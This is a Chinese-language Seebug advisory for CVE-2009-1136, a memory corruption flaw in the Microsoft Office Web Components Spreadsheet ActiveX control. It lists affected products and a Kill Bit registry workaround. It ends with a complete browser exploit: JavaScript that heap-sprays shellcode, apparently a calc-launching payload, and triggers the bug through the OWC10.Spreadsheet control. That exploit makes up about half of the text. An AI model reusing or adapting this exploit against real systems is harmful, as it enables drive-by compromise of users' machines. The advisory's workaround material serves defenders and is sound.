Lucene search

K
seebugRootSSV:11804
HistoryJul 14, 2009 - 12:00 a.m.

Microsoft Office Spreadsheet ActiveX控件内存破坏漏洞

2009-07-1400:00:00
Root
www.seebug.org
16

0.967 High

EPSS

Percentile

99.6%

BUGTRAQ ID: 35642
CVE(CAN) ID: CVE-2009-1136

Microsoft Office是非常流行的办公软件套件。

Office Web组件是用于向Web发布电子表格、图表和数据库的COM控件,其中的Spreadsheet ActiveX控件(OWC 10和OWC11)存在内存破坏漏洞。如果用户受骗访问了恶意恶意网页并向该控件,就会导致执行任意指令。

目前这个漏洞正在被挂马攻击广为利用。

Microsoft ISA Server 2006 SP1
Microsoft ISA Server 2006
Microsoft ISA Server 2004 SP3
Microsoft Office XP SP3
Microsoft Office 2003 Service Pack 3
临时解决方法:

  • 对漏洞相关的控件设置Kill Bit,对漏洞相关控件设置Kill Bit应该不会对系统造成太大影响。

设置Kill Bit,或者将以下文本保存为.REG文件并导入:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility{0002E541-0000-0000-C000-000000000046}]
"Compatibility Flags"=dword:00000400

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility{0002E559-0000-0000-C000-000000000046}]
"Compatibility Flags"=dword:00000400

微软已经提供了一个工具来完成上述操作:
http://go.microsoft.com/?linkid=9672747

  • 暂时不要使用IE浏览器,可以使用Opera或Firefox。

厂商补丁:

Microsoft

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/


                                                <html>
<body>
<script language="JavaScript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF
%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201
%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B
%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868
%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8
%u6873%uFE98%u0E8A
%uFF57%u63E7%u6C61%u0063");
var array = new Array();
var ls = 0x81000-(shellcode.length*2);
var bigblock = unescape("%u0b0c%u0b0C");
while(bigblock.length<ls/2)
{bigblock+=bigblock;}
var lh = bigblock.substring(0,ls/2);
delete bigblock;
for(i=0;i<0x99*2;i++) {
array[i] = lh + lh + shellcode;
}
CollectGarbage();
var obj = new ActiveXObject("OWC10.Spreadsheet");
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
for(i=0;i<e.length;i++){
for(j=0;j<10;j++){
try{
obj.Evaluate(e[i]);
}
catch(e)
{}
}
}
window.status=e[3] +'';
for(j=0;j<10;j++){
try{
obj.msDataSourceObject(e[3]);
}
catch(e)
{}
}
</script>
</body>
</html>